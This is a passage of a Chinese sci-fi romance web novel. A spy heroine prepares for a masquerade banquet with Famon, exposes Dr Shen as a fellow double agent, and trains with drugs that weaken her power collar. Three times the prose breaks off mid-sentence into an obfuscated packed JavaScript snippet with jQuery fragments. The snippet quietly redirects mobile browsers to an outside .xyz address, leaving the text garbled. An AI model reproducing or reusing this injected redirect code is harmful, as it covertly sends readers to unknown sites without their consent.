法蒙问:“你要红配绿吗?”
叶眠一脸无辜:“抱歉,我不知道你挑的礼服都是红色啊?毕竟你也没问过我喜欢什么款喜欢什么色,都独裁到这样了,还要我来一趟干嘛。”
法蒙略微一顿,叶眠怼完他就好像没事儿人一样,溜达到另一条裙子面前,伸手碰了下投影,结果裙摆上的饰品细节放大,吓了她一跳。
设计师看着法蒙阴沉沉的表情不敢说话,心中有点不好的预感。
果然,下一秒他就捏了捏眉心,说:“那你想要什么款式什么颜色?”
叶眠背对着他,眼里露出笑意,转头的时候眉毛挑着,语气兴致勃勃:“我就喜欢裙撑款,黑色怎么样?”
设计师张了张嘴,想说那这前面的方案都不要了吗?
法蒙却已经冷声答:“不要黑色。”
这种性质的舞会,穿一身黑像什么样子?
叶眠耸了耸肩,没出声,反正她的目的只有裙撑。
穿那么厚的裙子还怎么动手?
就要便宜裙撑!
设计师感觉自己心在滴血:“裙撑款容易显得廉价,小姐,我们……”
叶眠看向他,无害地质疑:“这不该是你们要处理的事情吗?都高级定制了,指定裙撑而已,做不了吗?”
法蒙视线投来,设计师下意识站直:“没问题,交给我们。”
叶眠赞许点头,然后走近,压着声音商量法蒙:“那黑色不行,你选呢?”
两人之间距离不过半人,他想起自己刚点名的假发颜色,说:“也墨绿色吧。”
叶眠学他对设计师说:“墨绿,深一点。”
设计师脑子里过了一下颜色,长长地叹了一口气:“好。”
难,但也不是做不出来。
“我们预算可以再拉高一些,别担心,”她伸手拉住法蒙的胳膊,稍微一贴,笑得眉毛不见眼睛:“是吧,先生?”
打工人何苦为难打工人,冤大头在这呢。
设计师肉眼可见的眼睛一亮,法蒙稍微一侧脸,就看到叶眠抬头撞上来的眼睛,跟他想象中伸手要钱的表情差不多。
像偶尔有求于人才肯贴贴的猫。
有种冲动催促着他,紧了紧手臂,把二人之间的最后一线距离掐灭。
“可以。”他嘴里说着,眼神却凝在叶眠脸上,想看她还要玩出点什么花来。
叶眠:这么大方,不能从指头缝里给我漏点?
她认真地跟他对视了一会儿,然后问:“为什么一直盯着我?终于发现我好看了?”
法蒙收回视线,语气微冷:“想太多了。”
他把胳膊从叶眠的手中抽出来,好像忘了刚刚把人拉近的是谁一样。
叶眠:男人心海底针。
测量仪扫过全身,所需的围度数据就录入了终端,设计师端着客户“涨预算”的口风,走起路来都虎虎生风,客客气气地给他们指完路就走了。
叶眠跟法蒙穿过作品展柜,两侧华丽的礼服似乎要晃花人的眼睛,虚空投影的铭牌上写着它们曾经出现的时间和场合。
“这个舞会,我除了需要人到场,还需要准备什么别的吗?”叶眠问。
“没了。”法蒙答。
“那主题是什么,都会有什么人,我能知道吗?”叶眠走在他身边,没有超前也没落后,刚刚好与他并排。
“陆风没跟你提过吗?”法蒙反问,“你们已经生疏到这样了?”
他还想说,不是说他缠人得紧吗?
“噢,他最近确实在忙,”叶眠慢慢地说,“可能也在活动关系,想混进舞会吧?”
法蒙微不可察地勾了勾唇角:“你不怕他撞到我们一起么?”
叶眠惊讶地看向他:“为什么要怕,不是假面舞会吗?”
“就算带着假面,如果是熟悉的人身形也很好认,”他避开她的目光,平视前方,“凭你们的关系,他不可能认不出你。”
“法蒙先生,”叶眠有些困难地忍住笑,但眼角脸颊的肌肉还是微微向上,露出一点促狭的意味,“如果你真的不想让他来,说句话的事情而已啊,何必问我?”
这番话踩一捧一,叶眠说得毫无负担,但却成功地愉悦到了法蒙。
他眉头微微舒展,眼角弯了半个像素点:“你太小瞧他了,陆指挥的身份我们能掌握的不过三分之一。反抗军偌大一个基地立在那里,我们查到也不是一天两天,但还是不能动,为什么?”
“因为地下四通八达,因为防御力量不明,”叶眠摊手,“因为不能打草惊蛇,因为要顺着陆风摸到反抗军大本营。”
法蒙讶于她的思路清晰,颔首说:“是这样。”
叶眠回忆了一下陆风的行事风格:“革命党和反
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224762|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抗军之间到底有什么深仇大恨?”
“正统党派和在野杂军的分歧罢了。”法蒙想起沈传回来的文件,语气一顿。
“明明目标都是解决腐朽统治,没有一丝一毫合作的可能吗?”叶眠好奇地问,像是察觉不到这些问题已经触碰到压线的边缘。
法蒙停住脚步,她也立刻驻足。
“那你觉得,如果我们要合作,是该陆风向我低头,还是我向他低头呢?”他看过来,语气很平,却有种潜在的威迫。
叶眠抱住手臂,像是觉得冷一样搓了搓:“这是送命题吗?”
法蒙淡淡地说:“也许是呢。”
叶眠眼睛一动,抬了抬下巴:“那我答对的话,能把这个解开吗?”
禁制环在一天,她就被控制一天。
法蒙好像模糊地笑了下,那个笑容太淡太浅,因为少见,几乎无法被捕捉。
“不能。”他说完,抬步继续往前走。
“我还没回答呢,”叶眠心道狗东西,嘴上却抹了蜜一样,“当然是该陆风投降啦,毕竟只是在野杂军,哪能跟我们中将比。”
法蒙有两秒不知道这句话该怎么回。
他跟叶眠走到了门口,却在阳光能照到的那一线交界前停住脚步。
“我准备卸任了,”他说,像是无所谓一样,“专心整改C监,当个比萨利好点的典狱长,如何?”
叶眠一愣。
她知道法蒙作为继承人的身份,却对他的处境不太明了,只有些没什么依据的猜测。眼下他这副平静表面下暗潮汹涌的模样,却让她再次想起了以前的那些推理。
她问:“边境三师呢?”
法蒙眼神落在外面阳光照耀的地面上,光滑的大理石反射的光像是能刺伤人的眼睛。
“会有人去处理。”他说完,把后半句烂在心里。
——生死有命。
叶眠看着他冷漠到肃杀的侧脸,感觉有些陌生。
她一个字一个字地问:“‘三师军人忠于联盟,无愧于心’?”
“作为革命党领头人之一,”他说,“我忠于更好的联盟。”
“那边境三师的军人呢?”叶眠问,“他们忠于谁?”
他们不知道自己的中将是革命党,他们心里的联盟自然不是法蒙的联盟。
法蒙深深地看向她,没有说话。
叶眠稍微闭了闭眼,懂了。
法蒙从外套里抽出自己的配枪,磕出弹匣:“上次说见面给你装备,今天太匆促,先拿着吧。”
叶眠还没从刚刚那种混杂失望和隐怒的心情中脱离出来,下意识接过枪,立刻想到这就花了自己两个月的工资,于是深仇大恨地搓了搓枪柄上的编号。
“一周后我下午派人接你,如果舞会上有什么环节需要你独自处理,别慌,端住了。”
法蒙撂下这句似是而非的提醒就推门而出,看都没看身后的叶眠一眼。
叶眠把弹匣卡进枪里,用眼神瞄住法蒙离开的背影。
微型暴缩弹,能杀掉法蒙吗?
她无端想起:她还不知道法蒙的异能。
32. 第 32 章
“法蒙的异能是什么?”
当晚,叶眠躺在床上,少见地没磕安眠药睡大觉。
“怎么又说他,不是休息吗?”陆风靠在床头,抓着叶眠的手,捏来捏去。
叶眠斜眼看他:“早晚的事。”
“金属变形,”陆风一根根捏过她的手指肚,直到白皙肤色上浮出浅粉,“杀伤很强的异能。”
禁制环无疑属于金属。
叶眠抽出手:“睡觉。”
陆风:?
“等我回来就为了问这么一句吗?”他低头,看着叶眠闭着眼睛没有表情的脸。
叶眠:人贵有自知之明。
谴责的视线太灼人,她睁眼:“那我是不是应该问问你,今天累不累?顺利不顺利?”
陆风一笑,眼睛就好像清澈的水潭荡起微波,叶眠不太懂他这种蛊人的劲儿怎么练出来的,但用脚趾头想,他对叶绵绵也不该这样。
——不然叶绵绵就不该是单相思了。
“不累,挺顺利的。今天有个身份拿到了入场券,你要来做我的女伴吗?”他问。
叶眠睫毛抖了一下,在他察觉不对之前迅速调整:“你很需要这个女伴吗?”
“嗯?”她加重语气,指了指自己发青的脑壳,又指了指脖子上显眼的禁制环,“如果特别需要,那我可以来,如果是一般需要,那我觉得可以不要。”
陆风脸色变得有些复杂,他摸了摸叶眠头顶,感觉像是在摸自己的胡茬子。
“不想去算了,我也就是想看看那位继承人到底是什么身份,”他对上叶眠清明的视线,熄了别的心,只道再等等,“你这个颅骨恢复得倒快,睡吧。”
很对,叶眠赞美地点点头:“晚安。”
——晚上就是用来睡觉的,什么睡前运动,不懂不懂。
但,她白天实在睡多了,此刻竟然有点失眠。
叶眠实在猜不到,法蒙是掌握信息太少还是有心放他一马,让陆风去晚宴,他就这么想被捉奸?
不对,双面间谍的事情,怎么能叫捉奸呢?
她往被子里缩了缩,代入法蒙的视角,只觉得这事儿莫名其妙,然而她越思考越觉得,他可能是故意的。
就像上次在天空之脊憋了口气要报复回来。
……他有病吧??
-
第二天上午,叶眠准时地出现在沈舒白实验室门口。
“小沈医生~”她叫得亲亲热热,心里却是百般焦灼。
陆风不知道自己跟法蒙认识甚至熟悉的关系,法蒙主动造了晚宴的修罗场,万一把陆风惹急了,遭罪的还是她自己。
就现在这个武力值,陆风只要动异能,杀她分分钟的事情,如果沈医生的研究进度不够她自保,难道还得找法蒙求援?
想到这,叶眠心里又骂一遍:他有病吧?
沈舒白连熬几个大夜,兢兢业业地配药剂,昨夜刚做出试验版,此刻面无表情地把注射器塞她手里:“去里面。”
叶眠往里看了看,表情有些惊讶:“是去小沈医生的卧室吗?”
沈舒白内心:宿舍,谢谢。
但叶眠这句话的意味,怎么听怎么怪,他用迟缓的大脑分析了一下,不知道分析到哪了,耳尖竟然带了点红。
叶眠:?
“半小时后我要抽你的血做检验,”他清了清嗓子,“你东西要得急,我们只能跳过临床直接上实战。”
“行,”叶眠抬脚走进,“我信小沈医生不会害我。”
我要是害你就不会当时救你了。沈舒白想。
叶眠礼貌地坐在椅子上没碰床,注射液推进手臂,她才想起来忘了问这是哪个功能的。
算了,反正都差不多。
她看了眼没有动静的外间,果断拉开桌子抽屉,开始寻找。
这可是陆风的个人医生,他的卧室指不定能有点什么有用的资料,倒手卖给法蒙,说不定等陆风对自己痛下杀手的时候还能有点底气。
沈舒白在实验台前空白地坐了一会儿,突然想起来最好让叶眠直接试试异能。
于是他推门而入,就看到叶眠手里拿着那个叶绵绵送来的吊坠,写着“谢谢”的字条也重见天日,稳妥地放在桌面上。
沈舒白:?!?!?!
叶眠语气有点微妙:“小沈医生,你跟叶绵绵……也有一段吗?”
沈舒白矢口否认:“不要血口喷人!”
“你别误会,失忆之后,自我认知一直不太对,”叶眠一脸若有所思,抬手在终端上写下两个字,调向展示给沈舒白,“虽然我不认为自己是叶绵绵,但我的笔迹、身手,这些都跟她一模一样,你有什么头绪吗?”
终端上的“谢”,跟纸条上的“谢”,别无二致。
“如果不是叶绵绵,那你是谁?”沈舒白稍微冷静了一些,就事论事地问。
“叶眠。”叶眠说着,耸了耸肩。
“抱歉,”沈舒白控制住呼吸,尽力维持平静,“我并不知道你遭遇了什么导致性情大变,所以无能为力……”
“等等等等,先别急着撇清关系,我还有一个发现,沈医生,”叶眠眼里冒出一些笑意,她是真地觉得有意思极了,“你的笔迹,很眼熟。”
桌子上放着一些他的手稿,电光石火间,沈舒白想通了一切。
“你的笔迹,跟我在监狱里收到的一张字条,也有点像呢。”叶眠放下吊坠,语气轻慢。
——她刚醒来的时候,袖子里那张提醒她联系法蒙的纸条。
沈舒白心想,毁了。
“所以,你真的不知道我在监狱经历了什么吗?”叶眠摸了摸自己完好的后脑勺,“我现在该叫你,小沈医生,还是沈医生,或者同事哥?”
她好整以暇地看着沈舒白脸色变换,心里都有点替他崩溃了。
掉马这事来得猝不及防,她没想到,沈舒白更没想到,因为最近太忙疏忽了细节,以前埋下的隐患冷不丁就这么爆炸了。
沈舒白搓了搓自己的脸,脑子里还在紧密地搜索有什么借口和理由,想到她要的药剂,想到她的双面间谍身份,明明把柄还有不少,但看着叶眠满脸得意却没什么算计,他突然决定,算了。
“好吧,好吧,”沈舒白摆烂一样地摊开手,表情也松弛下来,“想怎么叫都可以,如果你认那份救命之恩,就别把我捅上去,毕竟我这么多年也不容易。”
“嗯哼哼,”叶眠又笑,“所以我问你哪个老大,还真是问哪个老大。”
沈舒白瞟她小人得志的模样,叹了一声:“是啊,被发现了。”
等了等,两人大眼瞪小眼,都没有进一步的反应了。
真是出乎意料,沈医生好说话得紧,叶眠试探性地问:“那你在他俩手里,有什么把柄吗?”
沈舒白摘了眼镜,干脆往床上一坐,长腿岔开,姿态也放松下来:“我跟你不一样,我是良禽择木而栖,贤臣择主而事。”
“脚踩两条船,”叶眠点点头,“所以你更看好谁?”
“这问题也太敏感了,”沈舒白表情古怪,最后懒得纠正她的评价,只诚恳地说,“实话,都不看好。”
叶眠两手一拍:“其实我也是。”
沈舒白:?
叶眠真诚地说:“你对他俩不是真心的,我也不是真心的,所以其实,我们才是一条船上的人啊!”
——未来女帝伸出了她的第二根橄榄枝。
但沈舒白明显不如胖子好糊弄,他莫名其妙地看她一眼:“什么船不船的,你都说我脚踩两条船了,还要我踩三条吗?”
“哎,话不是这么说的,”叶眠摆手,“万一哪天我飞黄腾达,拳打陆风脚踢法蒙,你跟着我干,我直接给你记头功。”
沈舒白死亡凝视半晌,冒出来一句:“那你先飞黄腾达了再说吧。除了神经兴奋程度提高,还有什么别的感觉吗?”
“什么什么感觉?”叶眠没跟上他的思路。
沈舒白叹气:“你刚刚打的药,是暂时解除异能环效用的,现在有什么不好的感觉吗?”
他说完,叶眠才意识到,自己确实有点不同寻常的兴奋了。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224763|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仔细地审视了一下全身上下,说:“有点像醉氧的感觉。”
——就像喝酒喝高了一样,有点晕晕乎乎,还容易兴奋。
沈舒白记下这条,说:“你试试异能,药效半小时,现在还剩一刻钟。”
叶眠伸手,滞涩地调动异能,冰锥缓慢成型,最终停在了少一半锥尖的形态。
两人看着这把半成品冰锥,像是在研究什么稀世珍宝一样。
“A级异能为什么会这么弱,”沈舒白不可思议地说,“我以为A级攻击异能都是分分钟秒杀敌人的。”
“换陆风活着法蒙的话,差不多。”感受着冰锥在手中融化的速度,叶眠心想不止数量,质量也不行,温度比梦里凝出的深蓝色冰高太多了。
“我的话,现在确实不行,需要你研发出来针对异能抵抗的药。”叶眠捧着自己的异能产物,真诚地看向沈舒白,却见他稍微推开了一点她的胳膊,表情抗拒。
“离我床远点,滴上了。”
叶眠一手水,滴滴答答的,她恶从胆边生,信手一甩,沈舒白眼疾手快地用袖子一挡,结果还是沾到一些。
叶眠看他实在好欺负,忍不住又想笑,一边好奇地问:“你当时为什么要救我?暗恋叶绵绵吗?”
沈舒白袖子后面露出一张惊恐的脸:“开什么星系玩笑,我只是觉得她有点可怜。”
“为感情付出生命是最没意思的死法了,”叶眠点头,“我会记得你的救命之恩的,沈医生。”
沈舒白还愣着,叶眠把化了大半的冰锥“当啷”一声扔进垃圾桶,“等会儿我再试一次,沈医生,我未来的自由和幸福都托付给你了啊。”
沈舒白:啊??
叶眠醉氧的状态一直没过,思路跳脱到让人应付不来,沈舒白好说歹说把她劝住,抽了血放进检测仪,她又不知道从哪摸出来那个叶绵绵送的吊坠,表情有些邪恶。
“姐,叶女士,叶眠,”沈舒白感觉有点心梗,“您还要怎么样?”
叶眠说:“这个给我。”
沈舒白屈服了:“别让陆风看见。”
叶眠笑吟吟地把东西收了起来:“等你把两种药都做好,姐给你送点更好的。”
沈舒白心道咱俩谁大谁小,叫你声姐还真把自己当姐了,面上却一副忠厚老实的表情,手下操作不停:“那姐有钱吗?姐还欠我两千什么时候还?”
“同为间谍,资金周转不易,懂得都懂啊,”叶眠岔开话题,“我看这机器不错,能卖不少吧,哈哈。”
沈舒白无奈地笑了下,由她去了。
-
晚上,陆风就看叶眠拿着一个挂坠,抛起接住,一脸思索之意。
“最近跟小沈走得很近?”他状似无心地问。
“噢,还行,”叶眠坦荡荡地说,“确实多聊了几句,他说你室内戴墨镜还是有装x地成分在。”
陆风莞尔:“只是作为保险,毕竟你之前也把这个当作情趣。”
“什么情趣?”叶眠接住吊坠,饶有兴趣地问。
陆风没想到她还要追问,脱衣服的动作一顿。
“呃,看我流眼泪?”他说。
叶眠摸了摸下巴:“你别说,我跟叶绵绵还真是有点像的哈。”
男人的眼泪最棒了好吗!
陆风沉默半晌,又把话题拐了回来:“所以,怎么把之前送给小沈的吊坠拿回来了?”
叶眠无所谓地说:“想拿就拿了呗,改天再送他一个别的。”
她试探着陆风的底线,展示出来的自我越来越多越来越真,而对方的容忍程度似乎也越来越高,这让她由衷地想送陆风和叶绵绵一句歌词。
——“等不到的永远在骚动,被偏爱的都有恃无恐”。
而陆风,看着叶眠满不在乎的眼睛,心中有种荒唐的感觉。
叶绵绵像他手里的风筝,只要扯一扯,拽一拽,风筝就会逆着风,飞回他的手里。而现在面对叶眠,却像是风筝线断在云里,他手中留着一根线,却不知那头还拴着什么。
风筝,还是他的风筝吗?
33. 第 33 章
【晚宴前第七天】
叶眠并不在乎陆风到底拿了什么身份,她把沈舒白当陪练,紧急投入到了磨合药效的训练中。
她刻苦得毫不掩饰,沈舒白担心她这种把药当饭吃的做法会给身体造成太大压力。
他话说完,叶眠并没有第一时间给出反应。她指缝浮现冰条,手腕发力一甩,只听连续“笃笃”声后,那些冰条一齐扎进了沙袋。
沈舒白背后发凉,不知道是不是错觉,刚被某种杀意波及了一下。
那看似普通的冰条,实则是一把把无柄的小刀,叶眠给这一招起名为——小叶飞刀。
“别担心,你可以抽我的血验一验,”六把小刀就已经是极限,她走上前观察杀伤效果,眼神完全没落在沈舒白身上,“我的抗药性虽然不知道怎么练的,但防御强得离谱。”
沈舒白没懂:“什么?”
叶眠笑了笑:“你可以理解为,我五毒不侵。”
她从兜里拿出几个瓶瓶罐罐:“前阵子搞了几种药吃着玩,结果一点反应没有。”
沈舒白一脸“你在说什么”地接过来,翻了翻标签,心中大写三个字——好家伙!
沙砾7号,祛辐射的跃迁必备药物,副作用是24小时上吐下泻。
霓星SH,实时类抗生素,药效48h,持续期间服用者会眼白充血,部分人会流鼻血。
全位素稳定液,用于机体紧急补能,但会导致血管膨大组织肿胀。
他迷茫地问:“一点反应都没有?”
“嗯哼,”叶眠挥挥手,冰刀加速溶解成水,“我挑这几种药,市面上买得到、副作用都不小,只要摄入量正常就一点反应没有。”
沈舒白捏着几个瓶子喃喃地说:“那还得给你加大药效了。”
叶眠点头:“下猛药就行。”
沈舒白犹豫了一下问:“你这么着急,是想干什么?”
“法蒙约了我去参加德里克继承人的公开晚宴。”叶眠轻飘飘地说,余光关注着他的反应。
沈舒白从茫然到震惊:“法蒙?还是陆风?”
“法蒙啊。”叶眠又想笑。
“法蒙?”沈舒白再次确认了一遍,“法蒙约你,德里克家族的晚宴?女伴吗?”
“你也知道了吧,他是德里克家族那个继承人,”叶眠耸肩,“早说他背后有家族,你还不信。”
沈舒白抹了把脸:“我不知道。最近在给你造特效药,没怎么跟他联系。”
叶眠理亏:“噢,那你现在知道了。”
槽多无口,沈舒白甚至没想吐槽法蒙隐瞒身份的事情,纳闷地问:“他为什么不找下属?他找你?这种场合,女伴这个身份受到的关注太多了,你并不合适啊。”
“两个解释,一,他不舍得下属冒险,”叶眠感觉自己异能恢复得差不多了,准备开始下一轮练习,“二,他喜欢我。”
沈舒白一脸便秘之色:“你,唉,算了。”
叶眠失笑,小叶飞刀再次出手,一回头就看他半崩不崩地抱着她的药,神思恍惚地走了。
他今天没问出来叶眠着急忙慌训练的目的,叶眠倒是记挂着给他发消息。
遇到困难睡大觉:“同事哥,我测体质的药瓶子们,拿走了记得给我报销噢~”
白干全白干:“。”
白干全白干:“还能再抠一点吗?”
叶眠乐不可支,抽了一支新的降低禁制环作用的药液给自己打上,反手一看,注射器上贴的标签,龙飞凤舞地写着三个字“减效药”。
小沈医生字真不错。叶眠想。
【晚宴前第六天】
“这是减效药3.0,大概能缩短三分钟起效,”沈舒白说,“三分钟不多,但把假醉的效果降低了。”
“行。”叶眠把注射液推进手臂,深吸一口气。
手指微紧,大概十分钟后,她睁眼:“起效了。”
沈舒白也有点紧张:“能用几成异能?”
六把小叶飞刀出现,叶眠说:“跟昨天一样的。冰锥搞不出来,只能扔小刀。”
以叶眠的力度,扔飞刀杀个没什么战斗能力的普通人很轻松,但她明显不满意。
“陆风给你设置的任务目标吗?”沈舒白问,“还是你自己想杀?”
“陆风不知道咱俩偷偷搞在一起,我在他心里还是个带着环的弃子呢。”叶眠说。
沈舒白眼皮一跳:“什么叫搞在一起。”
叶眠飞刀一扔,说:“差点忘了,我这个女伴不能给法蒙丢人,那法蒙的下属,阿不,同袍,沈医生当然有责任参与训练。”
沈舒白瞪眼:“我?我干什么?跳舞?”
“嗯哼,这里又没别人。”
因为担心陆风去训练场逮自己,叶眠在沈舒白的研究室专门圈了一块地,这里是整个基地里为数不多没有陆风监控的地方。
沈舒白还愣着,叶眠已经攥住他的手放到自己腰间。隔着一层医疗,手指;接触的细腻热度从表皮一路渗进大脑,沈舒白仿佛受到什么刺激一样略微站直了一点。
“这不合适。”轻若蚊蝇。
他略微低头,看叶眠垂着眼睛专心回忆舞蹈动作,嘴里已经开始轻轻地打拍子,明显视他负隅顽抗为无物。
既然对方不接话,他也不好再说什么,只能自我安慰:我是沙包,我是道具,我是陪训,这很正常。
小沈医生动作硬梆梆的,身体也硬梆梆的,交握的手指骨头硌人,但另一只手却只礼貌地悬着,除了她把人扯过来的那一下,根本没碰到她。
啧,正人君子。
“这不就搞在一起了?”叶眠轻笑一声,只看沈舒白半边耳朵发红,眼神里充满了无奈和控诉。
一舞毕,他逃也似地抱着空注射器走了。
【晚宴前第五天】
因为她的要求,沈舒白放下了异能抵抗药,全身心地投入到了“能瞒着姐姐实验室解放抵消禁制环效果”的减效药研制的过程中。
长期异能抵抗——冰冻三尺,非一日之寒。
禁制环减效药——箭在弦上,不得不发。
沈舒白拿着减效药5.0不撒手,在他锲而不舍地追问下,叶眠终于透露了一点。
“我要杀德里克家族的人,”她一边给自己扎针一边说,“如果要杀的是法蒙,你还会帮我吗?”
沈舒白沉默了一会儿,口吻客观地说:“不是我帮不帮你,而是你能不能做掉他的问题。”
“他异能是非常稳定扎实的A级,金属控制。发现你异常的第一时间,只要手指一钩,”他指
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224764|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了指叶眠的脖子,“那个东西就能立刻变成实心的,把你脑袋切下来。”
“他太强了,所以我没想杀他,”叶眠装模作样地叹了口气,“跟德里克家族的人有点旧仇。”
“你最好不是,”沈舒白捏了捏眉心,“别让我给你收尸。”
“我的命是沈医生救的,自然是沈医生说的算,”叶眠扭着上前半步,纤纤手指点到沈舒白领口的扣子,“让沈医生担心了~”
“假醉的效果要想办法消掉,”沈舒白认真记录,“你这个状态实在是太危险了。”
此人看似心如止水,实际上几笔之后就僵在原地,不知道该怎么做了。叶眠就那么含笑地看着他,看的他耳尖发红,欲言又止,最后终端一扔,跑了。
跑能跑哪去?这里一共就这么大点。
叶眠看他躲进卧室甚至锁了门,“桀桀桀”笑得像个反派。
【晚宴前第四天】
陆风问她最近在干嘛,叶眠说在找小沈练异能。
“为什么?”
叶眠对他倒是没什么保留,毕竟法蒙是敌对势力,她卖个乖也是顺手:“我想杀法蒙。”
——然后获得自由。
“为什么这么着急?”
叶眠靠在床头,比趴着的陆风略高一些,她顺手抓了抓他的狗头,干燥的发丝从指缝划过。
“我看他不爽。”她温柔地说。
——快给我过度解读!我是为了你涉险的!不要怀疑!就是这样!
陆风不知道中了什么邪,竟然乖顺地蹭了蹭她的手,然后僵住,四目相对,寂静无言。
叶眠:……
陆风:……
陆风果断翻身扯起被子:“睡觉。”
叶眠……感觉自己实在是很有一套。
【晚宴前第三天】
沈舒白的胡茬都冒出来了,有气无力地给她两管药:“7.1和7.2,你试试哪个效果更好?”
“有什么区别?”叶眠睡得神清气爽,梦里摸了几把男人肌肉,像是吸了精气一样状态正好。
“你之前说,吃药副作用都很轻微,所以这两版我放任了有效成分冲突,正面药效会更好,但副作用也会更大。”
叶眠眨眨眼,沈舒白又补充:“不是假醉。”
他犹豫了一下,又拿出两瓶撕了标签的粉末。
“要杀就做干净点,溶尸粉和迷药,嗯,就是你想的那种东西,”他把两个瓶子放到叶眠手中,“异能者犯罪逃脱率确实大,但你上次杀人就被抓了,最好还是小心点。”
叶眠看这瓶子眼熟,问:“这不是沙砾和霓星吗?”
“对啊,我直接用你的瓶子装了,”沈舒白说,“市面上不卖这些,黑市又太危险,我干脆自己配了点。”
叶眠比了个大拇指:“小沈医生,神。”
7.1下肚,叶眠开始流鼻涕。
7.2下肚,叶眠扔了十二柄飞刀,然后小拇指抽了半个小时。
她问沈舒白:“你一开始的设计(擤鼻子)就是,是这样的吗?”
沈舒白觉得她有点惨,但又有些好笑,最后还是没忍住,别过脸清了清嗓子才说:“7.1正常人用,大概会流眼泪流口水流鼻涕,7.2的话是全身痉挛,你,哈哈哈哈哈。”
34. 第 34 章
陆风并不知道叶眠也要去继承礼晚宴,当天早上出门的时候,还跟赖床的人说了声今天可能回来很晚。
叶眠幽幽地探出半个脑袋:“你昨晚是不是钻我被窝了。”
陆风若无其事地转身就走,叶眠在后面控诉:“睡得太热了!你绝对钻我被窝了!”
陆指挥心情很好地离开了基地,浑然不知晚上会受到怎样的冲击。
叶眠中午上了刘仁的车,随身携带的小包里装着她的减效药。
“刘先生,晚宴是在德里克的府邸上进行吗?”她问。
“不是的,”刘仁顿了顿,觉得透露一些也无妨,公事公办地解释,“为了防止特殊情况出现,继承礼是在德里克控制的星舰结构上进行。”
空中游艇,懂了。
叶眠收声,手指摩挲着针管,心想那可得提前规划好暗杀结束的逃跑路线。
下午的行程安排很紧,礼服还要微调,假发到位得晚了点,于是几个设计师一边比量着她的数据,一边对着头皮的青茬长吁短叹。
墨绿色的裙子像是山涧深潭,在灯下反射出星芒般的亮光。裙撑不算大,但与收腰的流线连接顺畅,衬得人高挑而冷淡。
叶眠站在镜子前,一回头就对上几位设计师满意的眼神,她冷静地吸了口气:“腰有点紧,中午吃多了。”
一句话打碎美女滤镜,叶眠:我是专业的。
假面搭配的孔雀翎,她特意强调:“挂绳一定要紧一点,最好有激烈动作也不会掉的那种。”
设计师不敢问是什么激烈动作,只是看起来更长吁短叹了几分。
假发是黑到看不出绿的长发,发型师看她脑壳形状圆润,紧紧地挽了个低丸子,因为听说了她对假面的要求,特意邀功:“保证你打架头型都不会乱的,女士。”
叶眠头皮发痛,眉梢眼角都被扯着向后,几乎做不出什么大表情:“谢谢你啊。”
刘仁来接她的时候也是露出一些惊艳之色:“墨绿色很称叶小姐。”
叶眠绷着脸:“其实我觉得荧光绿更衬。”
刘仁不敢说话了,只专心开车,前往德里克的私人航空港。
路上,叶眠拆出腿环,一根一根把注射器塞了进去。
刘仁没看到,只在下车时提醒她:“包不能带,会有安检。”
叶眠幽幽地说:“好,但是我带着禁制环,是不是得把头也砍下来?”
刘仁觉得,叶眠有时候说的话他实在接不上。
*
叶眠端住了美丽废物的气场,跟着刘仁从私人通道来到空港的休息室。
“一会儿会有人来接你,”刘仁看了眼时间,“我还要回去加班,就不陪叶小姐等了。”
叶眠依然绷着脸:“辛苦。”
她半低着头,百般无赖地玩着黑绿假面等了十几分钟,突然听到了法蒙的声音:“抬头,我看看。”
“哟,典狱长亲自来接我,”叶眠掀起眼皮,看向一身同样墨绿正装的法蒙,“受宠若惊啊。”
在深绿的衣料和发色衬托下,叶眠露在外面的肩膀与脖颈几乎白到发光。她仰着一张素白的脸,唇色却是一抹浓重惊人的深红,仿佛纸上的一道血痕,艳丽夺目。
法蒙眼神深得仿佛要吃人,叶眠几乎以为他要夸赞一下她的盛世美颜了,却听他用那副低沉的嗓子,克制地说:“红配绿能搭成这样,难为他们了。”
叶眠想翻白眼,被兜头的外套裹住。
西装三件套的上衣到了她身上,法蒙只穿马甲衬衣,宽肩窄腰,身姿依然挺拔。
叶眠眨眼,在心里感慨人和人就是不一样,有些人穿马甲像侍应生,但有些人一看就不是服务别人的料。
法蒙也不知道自己心脏为什么跳成这个鬼样子,他面不改色地伸出手让叶眠挽住:“走吧。你跟着我,不用过安检。”
叶眠从短暂的色迷心窍中挣脱出来,眉眼弯弯,一只手拿着那张假面,一只手搭上他的臂弯。
坐小型飞艇上星舰的路上,叶眠饶有兴趣地站在窗前,肩上披着法蒙的衣服。
法蒙站在她半步身后,没有收敛自己仿佛要把人拆吞入腹的目光。
“如芒刺背啊,典狱长。”她偏过头,笑他。
